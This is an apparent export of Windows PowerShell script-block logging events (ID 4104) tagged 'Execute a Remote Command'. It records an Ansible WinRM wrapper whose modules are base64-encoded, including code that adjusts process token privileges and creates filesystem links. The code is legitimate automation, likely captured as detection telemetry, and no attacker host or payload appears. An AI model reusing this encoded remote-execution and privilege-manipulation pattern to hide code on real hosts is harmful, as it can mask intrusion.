AgZmlsZUhhbmRsZS5EaXNwb3NlKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KJ0AKCiAgICAjIEZVVFVSRTogZmluZCBhIGJldHRlciB3YXkgdG8gZ2V0IHRoZSBfYW5zaWJsZV9yZW1vdGVfdG1wIHZhcmlhYmxlCiAgICAkb3JpZ2luYWxfdG1wID0gJGVudjpUTVAKCiAgICAkcmVtb3RlX3RtcCA9ICRvcmlnaW5hbF90bXAKICAgICRtb2R1bGVfcGFyYW1zID0gR2V0LVZhcmlhYmxlIC1OYW1lIGNvbXBsZXhfYXJncyAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgaWYgKCRtb2R1bGVfcGF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kbGlua19wYXRoLCAkbGlua190YXJnZXQsICRsaW5rX3R5cGUpIHsKICAgIGlmICgtbm90IChUZXN0LVBhdGggLVBhdGggJGxpbmtfdGFyZ2V0KSkgewogICAgICAgIHRocm93ICJsaW5rX3RhcmdldCAnJGxpbmtfdGFyZ2V0JyBkb2VzIG5vdCBleGlzdCwgY2Fubm90IGNyZWF0ZSBsaW5rIgogICAgfQogICAgCiAgICBzd2l0Y2goJGxpbmtfdHlwZSkgewogICAgICAgICJsaW5rIiB7CiAgICAgICAgICAgICR0eXBlID0gW0Fuc2libGUuTGlua1R5cGVdOjpTeW1ib2xpY0xpbmsKICAgICAgICB9CiAgICAgICAgImp1bmN0aW9uIiB7CiAgICAgICAgICAgIGlmIChUZXN0LVBhdGggLVBhdGggJGxpbmtfdGFyZ2V0IC1QYXRoVHlwZSBMZWFmKSB7CiAgICAgICAgICAgICAgICB0aHJvdyAiY2Fubm90IHNldCB0aGUgdGFyZ2V0IGZvciBhIGp1bmN0aW9uIHBvaW50IHRvIGEgZmlsZSIKICAgICAgICAgICAgfQogICAgICAgICAgICAkdHlwZSA9IFtBbnNpYmxlLkxpbmtUeXBlXTo6SnVuY3Rpb25Qb2ludAogICAgICAgIH0KICAgICAgICAiaGFyZCIgewogICAgICAgICAgICBpZiAoVGVzdC1QYXRoIC1QYXRoICRsaW5rX3RhcmdldCAtUGF0aFR5cGUgQ29udGFpbmVyKSB7CiAgICAgICAgICAgICAgICB0aHJvdyAiY2Fubm90IHNldCB0aGUgdGFyZ2V0IGZvciBhIGhhcmQgbGluayB0byBhIGRpcmVjdG9yeSIKICAgICAgICAgICAgfQogICAgICAgICAgICAkdHlwZSA9IFtBbnNpYmxlLkxpbmtUeXBlXTo6SGFyZExpbmsKICAgICAgICB9CiAgICAgICAgZGVmYXVsdCB7IHRocm93ICJpbnZhbGlkIGxpbmtfdHlwZSBvcHRpb24gJCgkbGlua190eXBlKTogZXhwZWN0aW5nIGxpbmssIGp1bmN0aW9uLCBoYXJkIi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iBpcyB1bmRlZmluZWQsIGRlZmluZSBvbmUgdG8gYmUgbmljZQogICAgSWYgKC1ub3QgJG9iai5HZXRUeXBlKQogICAgewogICAgICAgICRvYmogPSBAeyB9CiAgICB9CgogICAgVHJ5CiAgICB7CiAgICAgICAgJG9iai4kbmFtZSA9ICR2YWx1ZQo
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2091 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 7):
nVuY3Rpb24gR2V0LUFuc2libGVQcml2aWxlZ2UgewogICAgPCMKICAgIC5TWU5PUFNJUwogICAgR2V0IHRoZSBzdGF0dXMgb2YgYSBwcml2aWxlZ2UgZm9yIHRoZSBjdXJyZW50IHByb2Nlc3MuIFRoaXMgcmV0dXJucwogICAgICAgICR0cnVlIC0gdGhlIHByaXZpbGVnZSBpcyBlbmFibGVkCiAgICAgICAgJGZhbHNlIC0gdGhlIHByaXZpbGVnZSBpcyBkaXNhYmxlZAogICAgICAgICRudWxsIC0gdGhlIHByaXZpbGVnZSBpcyByZW1vdmVkIGZyb20gdGhlIHRva2VuCgogICAgSWYgTmFtZSBpcyBub3QgYSB2YWxpZCBwcml2aWxlZ2UgbmFtZSwgdGhpcyB3aWxsIHRocm93IGFuCiAgICBBcmd1bWVudEV4Y2VwdGlvbi4KCiAgICAuRVhBTVBMRQogICAgR2V0LUFu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2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXSBGaWxlTW9kZSBkd0NyZWF0aW9uRGlzcG9zaXRpb24sCiAgICAgICAgICAgIFVJbnQzMiBkd0ZsYWdzQW5kQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGhUZW1wbGF0ZUZpbGUpOwoKICAgICAgICAvLyBVc2VkIGJ5IEdldFJlcGFyc2VQb2ludEluZm8oKQogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIERldmljZUlvQ29udHJvbCgKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaERldmljZSwKICAgICAgICAgICAgVUludDMyIGR3SW9Db250cm9sQ29kZSwKICAgICAgICAgICAgSW50UHRyIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgUkVQQVJTRV9EQVRBX0JVRkZFUiBscE91dEJ1ZmZlciwKICAgICAgICAgICAgVUludDMyIG5PdXRCdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgVUludDMyIGxwQnl0ZXNSZXR1cm5lZCwKICAgICAgICAgICAgSW50UHRyIGxwT3ZlcmxhcHBlZCk7CgogICAgICAgIC8vIFVzZWQgYnkgQ3JlYXRlSnVuY3Rpb25Qb2ludCgpCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICBTYWZlRmlsZUhhbmRsZSBoRGV2aWNlLAogICAgICAgICAgICBVSW50MzIgZHdJb0NvbnRyb2xDb2Rl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ICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBGaW5kTmV4dEZpbGVOYW1lVygKICAgICAgICAgICAgSW50UHRyIGhGaW5kU3RyZWFtLAogICAgICAgICAgICByZWYgVUludDMyIFN0cmluZ0xlbmd0aCwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBMaW5rTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEZpbmRDbG9zZSgKICAgICAgICAgICAgSW50UHRyIGhGaW5kRmlsZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIFJlbW92ZURpcmVjdG9yeSgKICAgICAgICAgICAgc3RyaW5nIGxwUGF0aE5hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBEZWxldGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVN5bWJvbGljTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwU3ltbGlua0ZpbGVOYW1lLAogICAgICAgICAgICBzdHJpbmcgbHBUYXJnZXRGaWxlTmFtZSwKICAgICAgICAgICAgVUludDMyIGR3R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cmlidXRlcy5EaXJlY3RvcnkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdWNjZXNzID0gUmVtb3ZlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MgPSBEZWxldGVGaWxlKGxpbmtQYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiRmFpbGVkIHRvIGRlbGV0ZSBsaW5rIGF0IHswfSIsIGxpbmtQYXRoKSk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgQ3JlYXRlTGluayhzdHJpbmcgbGlua1BhdGgsIFN0cmluZyBsaW5rVGFyZ2V0LCBMaW5rVHlwZSBsaW5rVHlwZSkKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAobGlua1R5cGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgTGlua1R5cGUuU3ltYm9saWNMaW5rOgogICAgICAgICAgICAgICAgICAgIFVJbnQzMiBsaW5rRmxhZ3M7CiAgICAgICAgICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRlcyhsaW5rVGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtGbGFncyA9IFNZTUJPTElDX0xJTktfRkxBR19ESVJFQ1RPUlk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBsaW5rRmxhZ3MgPSBTWU1CT0xJQ19MSU5LX0ZMQUdfRklMRTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCFDcmVhdGVTeW1ib2xpY0xpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIGxpbmtGbGFncykpCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZVN5bWJvbGljTGluayh7MH0sIHsxfSwgezJ9KSBmYWlsZWQiLCBsaW5rUGF0a
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2090 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 7):
WN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IHN0YXRlKQogICAgICAgIHsKICAgICAgICAgICAgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gcHJpdmlsZWdlQXR0ciA9IG5ldyBOYXRpdmVIZWxwZXJzLkxVSURfQU5EX0FUVFJJQlVURVNbc3RhdGUuQ291bnRdOwogICAgICAgICAgICBpbnQgaSA9IDA7CgogICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBib29sPz4gZW50cnkgaW4gc3RhdGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuTFVJRCBsdWlkOwogICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkxvb2t1cFByaXZpbGVnZVZhbHVlKG51bGwsIGVudHJ5LktleSwgb3V0IGx1aWQpKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJMb29rdXBQcml2aWxlZ2VWYWx1ZSh7MH0pIGZhaWxlZCIsIGVudHJ5LktleSkpOwoKICAgICAgICAgICAgICAgIFByaXZpbGVnZUF0dHJpYnV0ZXMgYXR0cmlidXRlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZW50cnkuVmFsdWUpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSB0cnVlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIGZhbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5EaXNhYmxlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlcyA9IFByaXZpbGVnZUF0dHJpYnV0ZXMuUmVtb3ZlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcHJpdmlsZWdlQXR0cltpXS5MdWlkID0gbHVpZDsKICAgICAgICAgICAgICAgIHByaXZpbGVnZUF0dHJbaV0uQXR0cmlidXRlcyA9IGF0dHJpYnV0ZXM7CiAgICAgICAgICAgICAgICBpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBBZGp1c3RUb2tlblByaXZpbGVnZXModG9rZW4s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XVlcnkgfCBUb2tlbkFjY2Vzc0xldmVscy5BZGp1c3RQcml2aWxlZ2VzLCBvdXQgaFRva2VuKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIk9wZW5Qcm9jZXNzVG9rZW4oKSBmYWlsZWQgd2l0aCBRdWVyeSBhbmQgQWRqdXN0UHJpdmlsZWdlcyIpOwogICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgSW50UHRyIG9sZFN0YXRlUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoMCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkFkanVzdFRva2VuUHJpdmlsZWdlcyhoVG9rZW4sIGRpc2FibGVBbGxQcml2aWxlZ2VzLCBuZXdTdGF0ZVB0ciwgMCwgb2xkU3RhdGVQdHIsIG91dCByZXR1cm5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJDb2RlICE9IDEyMikgLy8gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKGVyckNvZGUsICJBZGp1c3RUb2tlblByaXZpbGVnZXMoKSBmYWlsZWQgdG8gZ2V0IG9sZCBzdGF0ZSBzaXplIik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyByZXNpemUgdGhlIG9sZFN0YXRlUHRyIGJhc2VkIG9uIHRoZSBsZW5ndGggcmV0dXJuZWQgZnJvbSBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChvbGRTdGF0ZVB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UykpOwogICAgICAgICAgICAgICAgICAgICAgICBvbGRTdGF0ZVByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW29sZFN0YXRlLlByaXZpbGVnZUNvdW50XTsKICAgICAgICAgICAgICAgICAgICAgICAgUHRyVG9TdHJ1Y3R1cmVBcnJheShvbGRTdGF0ZVByaXZpbGVnZXMsIEludFB0ci5BZGQob2xkU3RhdGVQdHIsIE1hcnNoYWwuU2l6ZU9mKG9sZFN0YXRlLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKG9sZFN0YXRlUHRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5DbG9zZUhhbmRsZShoVG9rZW4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKG5ld1N0YXRlUHRyICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwobmV3U3RhdGVQdHIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gb2xkU3RhdGVQcml2aWxlZ2VzLlRvRGljdGlvbmFyeShwID0+IEdldFByaXZpbGVnZU5hbWUocC5MdWlkKSwgcCA9PiAoYm9vbD8pcC5BdHRyaWJ1dGVzLkhhc0ZsYWcoUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBzdH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RW52aXJvbm1lbnRdOjpFeHBhbmRFbnZpcm9ubWVudFZhcmlhYmxlcygkcmVtb3RlX3RtcCkKICAgICAgICB9CiAgICB9CgogICAgJGVudjpUTVAgPSAkcmVtb3RlX3RtcAogICAgQWRkLVR5cGUgLVR5cGVEZWZpbml0aW9uICRwbGF0Zm9ybV91dGlsCiAgICAkZW52OlRNUCA9ICRvcmlnaW5hbF90bXAKfQoKR
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2089 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 7):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludC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c3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.PrivilegeUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTggQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiMgc3RvcmUgaW4gc2VwYXJhdGUgdmFyaWFibGVzIHRvIG1ha2UgaXQgZWFzaWVyIGZvciBvdGhlciBtb2R1bGVfdXRpbHMgdG8KIyBzaGFyZSB0aGlzIGNvZGUgaW4gdGhlaXIgb3duIGMjIGNvZGUKJGFuc2libGVfcHJpdmlsZWdlX3V0aWxfbmFtZXNwYWNlcyA9IEAoCiAgICAiTWljcm9zb2Z0LldpbjMyLlNhZmVIYW5kbGVzIiwKICAgICJTeXN0ZW0iLAogICAgIlN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljIiwKICAgICJTeXN0ZW0uTGlucSIsCiAgICAiU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzIiwKICAgICJTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsIiwKICAgICJTeXN0ZW0uVGV4dCIKKQoKJGFuc2libGVfcHJpdmlsZWdlX3V0aWxfY29kZSA9IEAnCm5hbWVzcGFjZSBBbnNpYmxlLlByaXZpbGVnZVV0aWwKewogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gUHJpdmlsZWdlQXR0cmlidXRlcyA6IHVpbnQKICAgIHsKICAgICAgICBEaXNhYmxlZCA9IDB4MDAwMDAwMDAsCiAgICAgICAgRW5hYmxlZEJ5RGVmYXVsdCA9IDB4MDAwMDAwMDEsCiAgICAgICAgRW5hYmxlZCA9IDB4MDAwMD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1ZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIEFkanVzdFRva2VuUHJpdmlsZWdlcygKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgRGlzYWJsZUFsbFByaXZpbGVnZXMsCiAgICAgICAgICAgIEludFB0ciBOZXdTdGF0ZSwKICAgICAgICAgICAgVUludDMyIEJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgSW50UHRyIFByZXZpb3VzU3RhdGUsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIENsb3NlSGFuZGxlKAogICAgICAgICAgICBJbnRQdHIgaE9iamVjdCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBTYWZlV2FpdEhhbmRsZSBHZXRDdXJyZW50UHJvY2VzcygpOwoKICAgICAgICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGJvb2wgR2V0VG9rZW5JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBVSW50MzIgVG9rZW5JbmZvcm1hdGlvbkNsYXNzLAogICAgICAgICAgICBJbnRQdHIgVG9rZW5JbmZvcm1hdGlvbiwKICAgICAgICAgICAgVUludDMyIFRva2VuSW5mb3JtYXRpb25MZW5ndGgsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMz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gICAgICAgICAgICAgICBpZiAoZXJyQ29kZSAhPSAxMzEzKSAgLy8gRVJST1JfTk9fU1VDSF9QUklWSUxFR0UKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oZXJyQ29kZSwgU3RyaW5nLkZvcm1hdCgiTG9va3VwUHJpdmlsZWdlVmFsdWUoezB9KSBmYWlsZWQiLCBuYW1lKSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IERpc2FibGVQcml2aWxlZ2UoU2FmZUhhbmRsZSB0b2tlbiwgc3RyaW5nIHByaXZpbGVnZSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgZmFsc2UgfSB9KTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBEaXNhYmxlQWxsUHJpdmlsZWdlcyhTYWZlSGFuZGxlIHRva2VuKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuIEFkanVzdFRva2VuUHJpdmlsZWdlcyh0b2tlbiwgbnVsbCk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIERpY3Rpb25hcnk8c3RyaW5nLCBib29sPz4gRW5hYmxlUHJpdmlsZWdlKFNhZmVIYW5kbGUgdG9rZW4sIHN0cmluZyBwcml2aWxlZ2UpCiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gU2V0VG9rZW5Qcml2aWxlZ2VzKHRva2Vu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AgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuR2V0VG9rZW5JbmZvcm1hdGlvbihoVG9rZW4sIFRPS0VOX1BSSVZJTEVHRVMsIHByaXZpbGVnZXNQdHIsIHRva2VuTGVuZ3RoLCBvdXQgdG9rZW5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkdldFRva2VuSW5mb3JtYXRpb24oKSBmb3IgVE9LRU5fUFJJVklMRUdFUyBmYWlsZWQiKTsKCiAgICAgICAgICAgICAgICAgICAgTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTIHByaXZpbGVnZUluZm8gPSAoTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocHJpdmlsZWdlc1B0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgIHByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW3ByaXZpbGVnZUluZm8uUHJpdmlsZWdlQ291bnRdOwogICAgICAgICAgICAgICAgICAgIFB0clRvU3RydWN0dXJlQXJyYXkocHJpdmlsZWdlcywgSW50UHRyLkFkZChwcml2aWxlZ2VzUHRyLCBNYXJzaGFsLlNpemVPZihwcml2aWxlZ2VJbmZvLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocHJpdmlsZWdlc1B0cik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW5mbyA9IHByaXZpbGVnZXMuVG9EaWN0aW9uYXJ5KHAgPT4gR2V0UHJpdmlsZWdlTmFtZShwLkx1aWQpLCBwID0+IHAuQXR0cmlidXRlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBOYXRpdmVNZXRob2RzLkNsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGluZm87CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIFNhZmVXYWl0SGFuZGxlIEdldEN1cnJlbnRQcm9jZXNzK